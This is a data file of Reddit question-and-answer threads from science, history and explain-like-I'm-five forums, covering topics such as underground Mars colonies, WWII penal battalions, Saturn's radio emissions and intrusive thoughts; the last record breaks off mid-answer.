{"q_id": "4sj5l1", "title": "Can a Mars Colony be built so deep underground that it's pressure and temp is equal to Earth?", "selftext": "Just seems like a better choice if its possible. No reason it seems to be exposed to the surface at all unless they have to. Could the air pressure and temp be better controlled underground with a solid barrier of rock and permafrost above the colony? With some artificial lighting and some plumbing, couldn't plant biomes be easily established there too? Sorta like the [Genesis Cave](_URL_0_)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4sj5l1/can_a_mars_colony_be_built_so_deep_underground/", "answers": {"a_id": ["d59vyyy", "d59waqv", "d59wfny", "d59x66z", "d59yg1i", "d59yvvg", "d59z2pp", "d59zn2z", "d5a00ch", "d5a2l8d", "d5a337s", "d5a4r91", "d5a5ad1", "d5a6pke", "d5a769o", "d5a8ls6", "d5aavmo", "d5acmgs", "d5alan2", "d5ataqc", "d5atwd9"], "score": [137, 19, 125, 2777, 16, 11, 13, 12, 21, 42, 6, 2, 3, 4, 5, 6, 3, 4, 3, 3, 2], "text": ["In theory sure, pressure and heat do tend to increase as more soil is mounted on top. However it would be almost as impractical as it overlooks the fact that Mars atmosphere itself is highly inhospitable containing very high concentrations of carbon dioxide and very low levels of oxygen. As such an airtight artificial environment would need to be made anyway to house earthen life, so the problems of pressure and temperature merely become a sort of small side issue addressed simultaneously.\n\nNot sure if that answers what you were wondering :) lmk", "its incredibly difficult to drill, underground train stations are made with a lot of effort, add the weight of a drill and equipment to the cost of spacetravel and there goes your idea\n\nNot to mentioned that only Bruce Willis and his crew of the best man are trained as drillers AND astronauts\n\nNot that anyone knows for real what the best way for colonizing mars would be... \n\nElon Musk suggested to explode some nuclear warheads on Mars to warm up the atmosphere..\n\n", "It's been suggested we could use ancient [lava tubes](_URL_1_) for basing or colonisation purposes. As well as being easier than drilling, the Igneous rock should be semi-impermeable and tough as... well rock, so it can potentially hold a pressurised atmosphere and also provide protection from the significant radiation on Mars' (or the Moon's) surface. So yeah it's a very viable idea.\n\nHere's a white paper on the topic:\n_URL_0_", "**Short answer:** If you wanted to dig on Mars to reach a depth where the pressure would be 1 atmosphere, i.e. equivalent to sea level pressure on Earth, it would most likely be much too warm.\n\n**Long answer:** Consider the case of Death Valley on Earth. Since it lies below sea level, the atmospheric pressure there is actually greater than what's found at sea level, roughly ~~1.1~~ 1.01 atmospheres. Similarly, we could dig below the surface of Mars so that the weight of the overlying atmosphere would be the equivalent of 1 atmosphere.\n\nWe can calculate how deep a hole one must dig by using the \"scale height\" - this is the difference in altitude needed to produce a factor of e = 2.718x increase in pressure. In Mars' case, this is equal to 11.1 km.\n\nNow, the pressure at the surface of Mars is a measly 0.006 atmospheres, while we want to go to 1 atmosphere. The number of scale heights we want to dig is then:\n\nln (1.0 / .006) = 5.12 scale heights\n\n...which, for a 11.1 km scale height means we want to dig 5.12 * 11.1km = 56.8 km. Note that this is over 4 times deeper than the deepest hole ever dug on Earth, so this is already a pretty tough technological achievement.\n\nNow, how warm would it be when we get there? For this, we need to consider the adiabatic lapse rate; this tells us how much the temperature drops as we ascend in the atmosphere, or similarly how much the temperature increases as we descend. (It's also for this reason that Death Valley has the highest temperatures recorded on Earth.)\n\nIn the case of Mars, the adiabatic lapse rate is 4.4K/km. In other words, for every kilometer we descend, the temperature increases by 4.4 K. \n\nThus by descending 56.8 km, we're increasing the temperature by 56.8 * 4.4 = 250K. Since Mars' average temperature is 223 K (= -50 C, -58 F), that means **the final temperature at 1 atmosphere of pressure would be 473K (= 200 C, 391 F).**\n\n**EDIT:** Since a lot of people are asking:\n\n- This is unrelated to whether Mars has a \"dead core\" or not. This temperature increase is *not* due to geothermal (or in this case, areothermal) energy. Rather, it's a simple consequence of taking the current atmosphere and compressing it adiabatically as it fills up our hole. A similar transformation would be suddenly opening the doors on a pressurized jet at 33,000 feet...the air would quickly expand to the thin ambient pressure and cool down in the process by 65^o - 98^o C, depending on how humid the air inside the airplane was.\n\n- You can't generate electricity from this temperature change. It seems counter-intuitive, but even though the temperature has increased, there's no extra energy added to the system - this is the definition of an adiabatic transformation.", "Earth is geologically active, hence we get [hotter as we go down](_URL_0_). It is the reason our continents move and the like. Interestingly, it also gets hotter as you go up  ([within certain stratifications](_URL_1_)).\n\nAs far as I know, we have no evidence that Mars is geologically active. In fact, the [lack of a strong magnetic field](_URL_2_) would seem to indicate that there is no inner *liquid* core (assuming it is made of Iron). Which implies that there is not a significant amount of heat in the core. This is not to say it does not get warm as you go deeper - just that it would not be to the extremes that Earth has.\n\nSo living underground may suit our needs of atmospheric pressure, 101kPa, but this is roughly 5-20 metres of depth, dependent on the density of the Martian rock/soil. With my last paragraph mentioning that temperature gradients are not huge, any further than this will just require structures that can withstand dramatic mechanical pressures, as they have to keep our inner atmosphere at 101kPa against a huge external pressure.\n\nTemperature, on the other hand, would not be a dramatic problem. We humans require substantial electrical power to survive on Earth, so I would imagine that Martian colonials would  require an even larger generational capacity per person. Electrical work and heat are so readily convertible that I don't envisage this as being an issue. We could easily heat our structure or make use of waste heat being generated to keep ourselves warm.", "Actually, given the fact that Mars none (or very little) geological activity it would make sense to live in underground caves on Mars aside from the reasons you stated. First, you avoid wind and dust storms that could cause a lot of damage to habitats. Second, you get away from massive day/night temperature fluctuations. Being robust against environmental conditions means you can set up a good pressurization system underground that isn't easily breached. Once made, you can sustain a decent level of oxygen for the community at a depth that gives you a nice ambient temperature. Lastly, there is a lot of evidence that there is water locked in rocks on Mars. Mining underground could also give a water source that won't evaporate instantaneously.", "Building an airtight container and adding air would be easier than digging really deep.  If you want radiation shielding, you can throw dirt on top of the building.  We could dig down a few feet and connect buildings with underground tunnels.  Sidewalks would also have to be pressurized and radiation shielded.", "Heating and pressuring a space are pretty easy to do. Much easier than digging deep holes. \n\nHowever, some of the plans for colonies do involve going a little deep to get better insulation and protection from radiation or other environmental factors. But that only would involve going a little under the surface or simply covering things with dirt. ", "There are 7 entrances to caves/caverns/lava tubes on the side of Arsia Mons.  Would it not be easier to use the natural geography if Mars to our advantage?  \n\nI mean, we don't know how deep they go.  As dar as i know, we've yet to utilize ground penetrating radar on Mars.", "[Cloud cities on Venus is also an option](_URL_1_)\n\nAnother problem with Mars is the low gravity, which has several negative consequences for long-term stays.\n\nIf you can stay in the clouds of Venus (*definitely* not on the surface) the gravity is similar to earth, temperature is hot but not unbearably so, and we can float there fairly easily:\n\n >  Despite the harsh conditions on the surface, the atmospheric pressure and temperature at about 50 km to 65 km above the surface of the planet is nearly the same as that of the Earth, making its upper atmosphere the most Earth-like area in the Solar System, even more so than the surface of Mars. Due to the similarity in pressure and temperature and the fact that breathable air (21% oxygen, 78% nitrogen) is a lifting gas on Venus in the same way that helium is a lifting gas on Earth, the upper atmosphere has been proposed as a location for both exploration and colonization.\n\n_URL_0_", "Radiation (i.e., particle flux) and micrometeorites make it worthwhile to build a Mars colony somewhat underground, and you are correct that being surrounded by rock and regolith would provide some level of additional insulation.  \n\nBut you would have to artificially seal it from inside anyway: Gases you want in the air would seep out or be absorbed, and gases you definitely *don't* want in the air would be emitted by the rock and regolith into your habitat.\n\nSo basically a facility would be a couple of meters underground, not like a mine shaft or something.", "We have to get there first and since there are already measurable problems with microgravity - this could be a 'showstopper'.\n\nMight the problems we currently know about microgravity carry over to living on Mars with it's ~0.38g?\n\n_URL_0_", "We may not be able to get it deep enough for earth like pressure, but it looks like setting up in the bottom of Hellas Planitia (6 km below the reference level) would be ideal for increased pressure and warmer temps. ", "In terms of balancing temperature and pressure similar to earth, a floating cloud city on Venus would be more plausible. At a high enough altitude the temperature and pressure on Venus is very survivable (at 30 miles up its about one earth atmosphere and 150F). ", "Matching Earth's pressure is expensive and unnecessary.  Somewhere between 30% and 50% is enough, especially if you adjust the gas mix.\n\nDigging is expensive too.  The less, the better, because equipment wears out, and costs a lot to deliver.  If a cave could be found, that might be able to be sealed (epoxy, or some sort of elastomeric coating), plus air locks.\n\nMars crust is not as warm, so instead of going deep enough for compression heating, and worrying about cave-in, just insulating the walks might be better.  Radiant barrier would be best, as even AB foam would be hefty to deliver, and we're already trying to seal a cave.\n\nExpense is a huge part of any habitat design.  It costs a lot to get things out of Earth's gravity well, let alone safely deliver it to Mars surface, in a specific place.", "Temperature's not hard to control - Mars is cold, but not so ridiculously cold that some heaters can't keep a habitat warm.\n\nAs far as pressure goes, the big issue is making sure there's breathable air, nitrogen and oxygen, for the habitats. Once that's done, I can see using the Martian version of a backhoe to bury habitats to protect them from radiation if necessary, but that's probably more necessary on the Moon - Mars has a little bit of atmosphere that can block some of the hard stuff.\n", "Interestingly enough, this idea was somewhat explored in the sci-fi novel \"The Long Mars\" by Terry Pratchett and Stephen Baxter.\n\nNow, admittedly, I don't suppose fiction makes for any sort of answer here, but it's definitely worth a read! They actually discover a space elevator that is constructed from deep in a hole. The reason for this was part and parcel of your question - air pressure, plants, etc.", "Yes, you could dig a cavern, coat it on the inside (you don't want gases from the rock to leak in), build an airlock and be safe. But on the other hand you could just build an overground structure for the same effect.", "The better question would be why you would want to? What does Mars have which would make digging a deep underground colony at all worthwhile? (The answer is nothing except scientific research value, which requires research outposts not colonies.)", "I always liked the idea of smashing multiple asteroids or comets into Mars making a crater deep enough to build a city in. Ideally we would do this enough to get the crater a few miles deep so the atmospheric pressure is increased while also releasing more material into the atmosphere further increasing the pressure. We could even build a Dome over the crater to allow us to fill it with breathable air.", "If the internal structure of Mars interests you, keep an eye out in a couple of years for the results from the InSight lander. It'll be the first modern geophysics lander on the surface (assuming they can put it together in the now extended timeframe)."]}, "title_urls": [], "selftext_urls": ["http://vignette1.wikia.nocookie.net/memoryalpha/images/a/a4/Genesis_cave_1.jpg/revision/latest?cb=20070408052354&amp;path-prefix=en"], "answers_urls": [[], [], ["http://www.lpi.usra.edu/decadal/leag/AndrewWDagaFINAL.pdf", "https://en.wikipedia.org/wiki/Lava_tube"], [], ["https://www.google.com.au/url?sa=t&amp;source=web&amp;rct=j&amp;url=http://www.scientificamerican.com/article/why-is-the-earths-core-so/&amp;ved=0ahUKEwiv8fSmlO_NAhXEkJQKHVDhAtwQFggnMAI&amp;usg=AFQjCNGYiXUk7XDNjBypTeHbjd-Yg4YOxg&amp;sig2=i5yZ6HkM86B_pZZdlXPqOQ", "https://simple.m.wikipedia.org/wiki/Atmosphere_of_Earth", "https://www.nasa.gov/feature/goddard/2016/close-comet-flyby-threw-mars-magnetic-field-into-chaos"], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Atmosphere_of_Venus", "http://www.space.com/29140-venus-airship-cloud-cities-incredible-technology.html"], [], ["http://www.space.com/25392-manned-mars-mission-astronaut-vision.html"], [], [], [], [], [], [], [], [], []]}
{"q_id": "91947b", "title": "When Hawaii and Alaska were gaining statehood in 1959 was there concern that the addition of four new senators would alter the \"balance\" of the senate?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/91947b/when_hawaii_and_alaska_were_gaining_statehood_in/", "answers": {"a_id": ["e2wv873"], "score": [49], "text": ["Yes. Hawaii\u2019s entrance to statehood was blocked throughout the 1950s by southern Democrats who believed they would become proponents of civil rights legislation. Democrats delayed until 1959, when Alaska could be paired with Hawaii under the assumption that Alaska would vote with southern Democrats. Ironically, the demographic profiles and reasoning proved to be incorrect on both counts. The Senate balance southern Democrats wanted ended being the same, but with the two states going in opposite directions. \n\n1. Laying out the delays to Hawaiian statehood: _URL_0_\n2. Documents on Hawaiian statehood, with support from Republican officials: _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.smithsonianmag.com/history/what-puerto-rico-learn-hawaii-180963690/", "https://www.archives.gov/legislative/features/hawaii"]]}
{"q_id": "8rv15c", "title": "Penal Battalions throughout history.", "selftext": "During my history studies I have come across multiple mentions of \"Penal battalions\" being used throughout history.\nSince the Romans during the second Punic war to the most known cases on the eastern front during WW2.\nThe thing I have never manage to understand is: how does an army make sure that a penal battalion will fight for them instead of turning its weapons against their officers and run away?\nFrom what I managed to understand, generally speaking, trusted officers and NCOs were put in the battalion to \"convince\" the criminals to behave properly. But to me having just some lightly armed officer who has to control a whole unit of heavily armed infantry man does not sound right. There is litteraly nothing preventing these guys to just shoot the officers and run away. \nI would like to know more about this topic, in particular during WW2 time period, thanks guys. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8rv15c/penal_battalions_throughout_history/", "answers": {"a_id": ["e0uyvwu"], "score": [5], "text": ["I think almost every nation in WW2 utilized penal battalions in \\*some\\* capacity. That said, not all penal battalions were front line troops. The Germans had \\*Strafbatallionen\\* before the war, they were generally used in non-combat support roles. This changed during the war, particularly after the East had gone sour in 1943. Germany formed the \\*Bew\u00e4hrungsbataillonen\\* which were combat troops, as you assume the officers and NCOs were trusted men, so were about a quarter of the enlisted men. So why didn't they just shoot their officers and leave? Well, there were military police around of course, they would pick up people who decided to try to desert and go home. Besides, there were consequences if you did, namely being sent to a concentration camp. Had an entire Battalion deserted I am fairly sure they would have been declared hostile and engaged by other units but that never happened.  \n\nThe \\*Bew\u00e4hrungsbataillonen\\* actually preformed reasonably well, casualties were high but they often undertook high risk missions so that is to be expected. There \\*were\\* desertions, particularly on the southern front. Hundreds of soldiers from \\*Bew\u00e4hrungsbataillon 999\\* deserted over the course of the war, either to join the greek resistance, the allies or just to disappear. Still, a few hundred out of som 30 000 who served is not terrible. \n\nThe Russians had their penal battalions too of course. Notably after order 227 had been issued. These units were not entirely unlike the german \\*Bew\u00e4hrungsbataillonen\\* in their composition. A key difference between the USSR and Germany is the use of barrier troops (\\*\"zagraditel'nyye otriady \"\\*), usually from the NKVD or SMERSH (regular troops were found too hesistant to preform barrier duty). You can see a dramatization in Enemy at the Gates if you want to understand the concept although as has been pointed out numerous times before, that dramatization is \\*wildly\\* inaccurate.  \n\nThe Russion Penal units prefromed relatively well too. Rokossovsky's 16th Army for example was entirely made up of penal infantry battalions and it preformed admirably. Technically speaking Rokossovsky himself could be considered a penal soldier, having been sent to the Gulag and all. The Russians also employed penal airforce squadrons which were assigned to especially dangerous missions such as attacking positions known to be protected by AA-guns.  \n\nThere are some noteworthy differences between the Soviet and German penal units. Namely in how easy it was to get out of one. The German Bew\u00e4hrungsbataillonen were tasked with reinstilling a sense of duty and honor in disgraced soldiers (officially). If you served without complaint, took part in the mandated indoctrination and particularly if you distinguished yourself, being returned to your original unit was virtually guaranteed. Only a few hundred soldiers over the course of the war actually had their death sentences/KZ-sentences carried out, the rest were all either KIA/WIA/MIA or returned to their units.   \n\nOn the other side of the front things were not so easy. Although a man in a penal battalion could technically be restored to his previous assignment if he preformed well during a number of combat missions (I believe it was 10 but don't quote me on that) the reality was often that these men were reassigned to clear mines, run wires or do some other risky non-combat task before they had a chance to reach that number.  \n\nWhile just shooting your officer and walking off sounds easy in theory there are a number of other factors you have to account for, which depend on where you are. In a German penal battalion you'd like get arrested or shot by some other penal soldier because unlike you, they were actually trying to get back to their original unit and you just gave them a golden ticket. Even if that didn't happen, then what? Go home? You can't. Your citizenship would be revoked and you would be sent to a KZ if you were arrested. Take your chances with the Soviets? Not an appealing prospect to most Germans. Try to hide? Sure, some did in Greece but on the eastern front that too was no an appealing prospect. better by far for most to just serve out their time and return to their unit.  \n\nIn Russia you'd face a different set of challenges. Guarded by NKVD/SMERSH units at all time, barrier troops behind you in combat, really nowhere to run even if you do get away. The same challenges as faced a german soldier applied to russians. You'd be arrested and sent to Gulag if you went home, if you went to the Germans odds are you'd be arrested and sent to KZ. At least in the penal unit you have a clear way out, however unattainable it may be. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7vjgix", "title": "how does climate control work in subway stations?", "selftext": "The subway system where I live just has an open stairway/escalator to get to ground level with no doors or other barriers of any kind. So how do they keep the station from getting sweltering hot in the summer or freezing cold in the winter?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7vjgix/eli5_how_does_climate_control_work_in_subway/", "answers": {"a_id": ["dtt3627", "dtteg8c"], "score": [2, 2], "text": ["Honestly, it's probably just really good insulation. (I tried to look this up, I really did, but all google gave me was how badly NYC MTA failed on their promise for climate-controlled stations, so....)\n\nWe all know that hot air rises and cold air sinks, and the cold that most of us feel doesn't come from temperature itself, but from the wind. So, for summers, the station is probably deep enough underground and constructed in a way that keeps the heat out. Kind of like a basement in the summer. Mine is half-underground and half-above, but it'll be like...70 degrees F down there when it's almost 80 outside. (70 is also hot sometimes, but anything is cool when upstairs feels like 90.) So that's one way to keep the underground cool, in addition to needing very good ventilation for the heat produced by the trains.\n\nAs for the winters, I'd like to ask you to see if you feel any wind the next time you're in the station. Chances are the entrances, despite a lack of doors, are designed in such a way that wind has a hard time getting down there. For a lot of NYC subways where the entrance is literally stairs and no doors, the path between the stairs and the platform involves a few turns. This helps keep the wind out, and the fact that it's below ground so the wind kind of just goes over above it. Of course, then there's the actual cold, but it's winter and you're bundled up anyway so you don't really freeze.\n", "These days, not brilliantly in older systems. The 'deep-level' lines of the London Underground are reliant on trains pushing cooler air along with them, but over a century of heat build-up down there has meant it's less effective than it was.\n\nIn 1975, a train crashed into the end of a tunnel at Moorgate station on what is now the Great Northern platforms - the driver either had a heart attack or was committing suicde, killing 43 people. With no trains running, it soon got to 40 degrees C plus in the wreckage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5fgjec", "title": "Why do desktop fans look more like boat propellers than aircraft propellers?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5fgjec/why_do_desktop_fans_look_more_like_boat/", "answers": {"a_id": ["dakbtmc", "dalagvm"], "score": [46, 5], "text": ["Slow moving air is much more like a classical fluid than fast moving  so the desktop fan can look a lot like a traditional non-cavitating propeller (efficient in water = efficient in slow air). Look at the fans in large buildings or on windmills, and you can see this difference in shape along the length of the fan blades. They get narrower and more streamlined down the length because the farthest tips of these blades experience higher air speeds.", "So I don't work with fans or propellers, but have a master's in aerospace engineering and took a class on helicopter aerodynamics, which seems relevant.\n\nI think the difference is just one of efficiency and space. Fans and boat propellers look the way they do because they have a high solidity, which is the ratio between the total blade area over the total disc area that the blades rotate in. Airplane propellers (and helicopter blades) have a lower solidity with long, narrow blades.\n\nThe optimal (power efficiency) blade design has an infinite diameter and infinitely small rotating speed. In most cases, there is a practical limit to the rotor diameter, such as hangar space, or material limitations. It's very difficult to design and build long and thin components that are strong and stiff enough. After the maximum diameter is limited, larger solidity designs are more efficient than spinning the blades faster.\n\nSo I think the question you're trying to ask is \"why do desk fans and boat propellers use high solidity designs instead of longer blades?\" For boats, I can only guess. And I guess that the forces are so large that it is just unreasonable to build longer blades. Water is much denser than air, so the drag is much higher and the propellor has to generate more thrust. You're also constrained on overall length in boat propellers because the blades can't stick out of the water and you don't want them to hit anything below the boat.\n\nFans probably use high solidity designs because efficiency just isn't that important (to the average consumer). Who cares if a desk fan uses 25% less power if it has to be 25% bigger? Space is more important than efficiency. It's worth noting that your ceiling fan is less space constrained than your desk fan and uses a larger diameter design with slower blade speeds.\n\nTo quote a few sections from Aerodynamics of the Helicopter, by Gessow and Myers:\n\n > Ideally the most efficient hovering rotor would be one of infinite diameter and zero rotational speed. The profile-drag losses of such a rotor would of course be zero, and the induced losses would likewise be zero, for the rotor would accelerate an infinite mass of air an infinitesimal amount to produce thrust. Practical considerations, of course, such as structural and blade weight and size limitations, keep the rotor diameter down to reasonable dimensions. It is well to remember, however, that the larger the diameter for a given thrust, the smaller is the induced loss.\n\n > Once the diameter or disk loading has been determined, thus fixing the induced losses, the next step is to fix the optimum combination (for the hovering condition) of solidity and rotor tip speed for minimum profile-drag losses. The choice of these two parameters is dependent upon two considerations that are somewhat interrelated, (1) the rotor should operate at the mean lift coefficient closest to the stalling angle of the blade section, and (2) the rotor should operate at the lowest feasible tip speed. The use of a low tip speed is equivalent to having the greatest possible solidity, or in this case, the greatest blade chord, inasmuch as the rotor diameter has already been fixed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4v6wb8", "title": "eli5: how do shows that include 'flashbacks,' to past episodes have different angles, views, etc?", "selftext": "I'm very curious because I'm currently watching the Lost series and they have a lot of these. Everytime though they show a different story but are the same exact event. In season 3, they went back to the crash (s1 ep1) but followed a different character.\n\n\nDo they already have the whole series planned and film all of it on the episodes? Do they do have extra film for just-in-case? Or, do they refilm the whole thing?\n\n\nThanks :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4v6wb8/eli5_eli5_how_do_shows_that_include_flashbacks_to/", "answers": {"a_id": ["d5vxeuw", "d5vzjz4"], "score": [3, 2], "text": ["Most often they just refilm. Sometimes, for things that are definitely planned well in advance, they have preshot stuff, but most of the time the scripts and plot lines aren't fully developed. For Lost in particular, not having watched it so being unfamiliar with the scenes you're talking about, I can almost guarantee that they just reshot the entire scene when they filmed Season 3. For a counter-example, though, look at the very end of How I Met Your Mother. The children on the couch do a scene that was clearly (given their ages) filmed way back at the end of Season 2, rather than at the end of Season 10 when the scene finally aired. That's because the producers knew how the show would end and filmed the scene to be tacked on whenever that time came.", "I work in the television industry. Here's how I would guess they did it. When they were making the pilot they shot the plane crash from every direction. They kept all the footage - all the alternate camera angles. When they were making season three they shot a new scene about a different character in front of a green screen. They digitally inserted some of the unused footage of the plane crash behind the actor and made it seem like he was there all along."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3s5pib", "title": "What are some good data analysis programs?", "selftext": "I'm an undergrad in a chemistry laboratory and I'm looking for a program (preferably free) to graph a few thousand data points and fit multiple trendlines to the graph, [like this.](_URL_0_) I'd need to be able to add my own trendlines with set slopes, etc, and also fit trendlines to data. Excel doesn't cut it and is near impossible to use for my purposes. \n\nIf this isn't in the right subreddit, please point me in the right direction. Also, not sure what to tag this as, but computing seems like the best fit.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3s5pib/what_are_some_good_data_analysis_programs/", "answers": {"a_id": ["cwue1u0", "cwuif7e", "cwuj8pn", "cwukf5x", "cwukz0p"], "score": [14, 8, 2, 3, 2], "text": [" > Excel doesn't cut it and is near impossible to use for my purposes.\n\nThat seems... unlikely unless you're on a severely memory-limited system. First thing I was going to say was \"why not excel\". Fitting \"a few thousand\" data points is pretty trivial.\n\nMost data/math programs should be able to handle this with ease. Matlab, Stata, R (free OSS). [If you want to put in the effort, learning some python/numpy/scipy will serve you well.](_URL_0_)\n\nI personally usually use matlab's cftool (curve fit tool) for stuff like this. Universities often have student licenses you can use free of charge.", "You should put in the time to learn r. It is perfect for data analysis and has lots of great packages to help.\n\nThis is a great place to start.\n_URL_1_\n\nPeople also often post examples or their r work with the code here\n_URL_0_", "OriginLab is very good at this, although it has a steep learning curve (not as steep as learning Matlab/Python).\nYour university may have a license for students. For example I can access a copy of it at home through a remote desktop connection to our computer labs.", "People have already mentioned everything I would point you towards. But I'll comment a bit on what's better at what.\nIf you're planning on doing a lot of research (as a chem student I'd assume you will) it's worth putting some time in now to learn a good plotting tool.  \nMatlab:  \n The Good: extremely powerful and flexible. Curvefitting, scripting, full control over graphing features/labeling/etc (it makes editing excel graphs feel extremely awkward and hamfisted). It's also an amazing analytic tool. Also if you're school's got it's beans together you'll have a student license available (which may or may not expire when you graduate).   \n The Ugly: Matlab is complicated. It will take time to learn your way around the UI and around the language.   \n\n[R](_URL_0_):  \n The Good: powerful, excellent language for analytics and graphing. Has an excellent community for data analysis.  \n The Ugly: (Personally) not a huge fan of the language and it's not used as much professionally (compared to Python/Matlab/Excel).  \nIDE of choice: [RStudio](_URL_3_)\n \n\n[Python](_URL_2_):  \nThe Good: using matplotlib you can have all the functionality of matlab but without the awkward language barrier. (If you combine it with PANDAS Dataframe or numpy, you basically have clean matlab). Also it's used just about everywhere as a lightweight scripting language and some python skills go a long way. Also it's one of the most used languages [stackoverflow](_URL_5_) has your back for any problems that might arise (also helpful for Matlab/Excel/Octave/R help)  \nThe Ugly: Depending on your current programming skill, it might take some time to learn how to do everything. Knowing what an object will make learning plotting much easier.  \nIDE of choice: [Pycharm](_URL_1_)  \n\nIf you can't get Matlab but want the same kinda thing, check out [Octave](_URL_4_)\n\nPersonally I use Matlab whenever I need to do lots of data analysis. I use Python (PANDAS and matplotlib) if I have to read lots of files or do pre analysis (extract data, parse, anything like that).", "If you can get it somehow JMP is the standard in the semiconductor industry. It is a bit geared twords process development but really good overall for large sets of data.\n\n\nHowever, Python with SciPi, Matplotlib, numpy and especially Pandas is not only free, but once you learn it IMHO it is the most powerful and versatile. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/GzsuVkc.png"], "answers_urls": [["http://docs.scipy.org/doc/numpy/reference/generated/numpy.polyfit.html"], ["http://www.r-bloggers.com/", "https://www.datacamp.com/"], [], ["https://cran.r-project.org/bin/windows/base/", "https://www.jetbrains.com/pycharm/", "https://www.python.org/", "https://www.rstudio.com/products/rstudio/", "https://www.gnu.org/software/octave/", "http://stackoverflow.com/"], []]}
{"q_id": "dtftsn", "title": "why is saturn's \"sound\" so eerie?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dtftsn/eli5_why_is_saturns_sound_so_eerie/", "answers": {"a_id": ["f6wg24e", "f6wi9sx", "f6wjgfq", "f6wnint", "f6wr982", "f6x04do", "f6y0tft", "f6y1mth"], "score": [137, 38, 2, 1110, 101, 10, 7, 5], "text": ["The guy doesn't give an explanation of how he made these sounds except that they are derived from electromagnetic waves. However, NASA explains how they made a similar sounding file here: [_URL_0_](_URL_1_)", "Due to three of its moons (Enceladus, Titan and Dione) Saturns magnetosphere (it's magnetic field that catches solar particles) contains high energy plasma, which \"sings\" and display powerful ultraviolet auroras when radiation from the sun crashes into it.", "Because it's similar to sounds in popular media that we are socially conditioned to associate with danger or the sinister.", "We have a natural aversion to sounds that have high amounts of inharmonic distortion, such as some types of distortion from music studio hardware, or the distortion that vocal tracts make when we overload them by screaming.\n\nIt's something ingrained in our biology that this sort of sound triggers our fight or flight responses. And rightly so, these sounds are reserved in nature for situations of extreme distress, where a quick decision could make all the difference.\n\nWhichever way this sound is converted from EM to audible frequencies, it's frequency content gives a very distorted sound. Kinda reminiscent to me of a distant, almost Human screaming.\n\nThat \"almost Human\" bit is important in my opinion, too. It sounds like something in distress, but nothing you could identify. It adds that feeling of the uncanny into the mix. It's another trick of the human brain to convert this sort of cognitive dissonance into a feeling of uneasiness, as demonstrated in the famous 'uncanny valley' effect. Your brain can't decide what on a single description or pattern that fits the information, so it bounces back and forth between ideas trying to fit it to something familiar.\n\nThis is why it's creepy as all hell. It's because you're wired to feel that way when you hear it.\n\nSource: degree and dissertation based on scaring the snot out of people with audio\n\nAs an aside, during my research, I found that out of all the natural sounds I played to people, the distress sounds of certain breeds of tree frogs gave the strongest reaction. Still not sure exactly why, just something I observed.\n\nEdit: as for why Saturn in particular sounds that way, it's down to the way in which these readings are converted to audible sounds. There's a mathematical structure to most pleasing harmonic relationships, but this sound just has frequency content grouped at 'bad' intervals, giving a horrible distorted sound to it. It's probably better explained by the process that the creator used to produce the audio files than it is by the original data.", "Just to add to the already great explanations here. Saturn doesn't actually \"sound\" like this. There is no sound in space because there is no air. These files took the radio emissions given off by the planet over hours, converted them into sound and sped them up so hours of data could be heard in a few seconds. What you're hearing is a different interpretation of data.\n\nIf you go to NASA'S website they have files for nearly all the planets and some pretty cool events you can actually pinpoint (I think one of them involves Jupajup getting hit with a powerful solar storm). They're very interesting, and while they can sound a bit creepy, just remember it's just reimagined data. The planets aren't demon possessed or full of ghosts.", "[it sounds almost exactly like phazon radiation from Metroid prime. ](_URL_0_)", "These obviously aren't sounds.\n\nWhat the EM waves \"sound like\" after being converted to sound depends **entirely** on the algorithms used to convert them.\n\nWere the same algorithms used for **all** the planets?\n\nOr are the differences in sound mostly or entirely due to different encoding methods?", "In this particular case, the methods for these recordings is so arbitrary, and they have been compressed and resampled repeatedly at random.\n\nThe end result is that each planet's \"sound\" may as well be random, to say why Saturn is different is a nonsense notion in this case.\n\nAs for why it's \"creepy\", it depends on the listener, I found some of the more silent planets more unnerving than Saturn's screaming pink noise. \n\nIn saying that, the main premise is that any anharmonic sound is distinctly unnatural in nature. Nothing normally sounds discordant namely because of the ways sounds are generated, moreover, when sounds ARE discordant, it's usually used as an alert by birds, humans and other animals. The end result being that we've evolved to find such sounds alarming"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nasa.gov/mission\\_pages/cassini/multimedia/pia07966.html", "https://www.nasa.gov/mission_pages/cassini/multimedia/pia07966.html"], [], [], [], [], ["https://youtu.be/ZmCwJhXea-w"], [], []]}
{"q_id": "240727", "title": "what is that thought i get in my brain when i could easily kill someone and why do i get it", "selftext": "When your on like a cliff with someone, and you get that voice that says \"You could just push him/her off, and she'll be dead.\"", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/240727/eli5_what_is_that_thought_i_get_in_my_brain_when/", "answers": {"a_id": ["ch2aswg", "ch2dn4a", "ch2io9e", "ch2l7gg"], "score": [15, 7, 2, 2], "text": ["The imp of the perverse (the urge to do exactly the wrong thing in a given situation for the sole reason that it is possible for wrong to be done)\n\n\n_URL_0_\n", "I've heard it described as Intrusive Thoughts.  Everyone typically gets them.  I usually get that feeling when you're driving and you just think \"I can just jerk the wheel so fast and cause myself to crash on the freeway.\" \n\n_URL_0_", "Like with many other questions on this subreddit, there is a very relevant Vsauce video that covers the topic. In the video, the narrator talks about why things are creepy, and his train of thought continues into the \"Imp of the Perverse\" situation you are describing. I highly recommend watching the entire video, but for your convenience I am linking directly to the relevant part of the video:\n\n_URL_0_", "I get this a lot, sometimes its 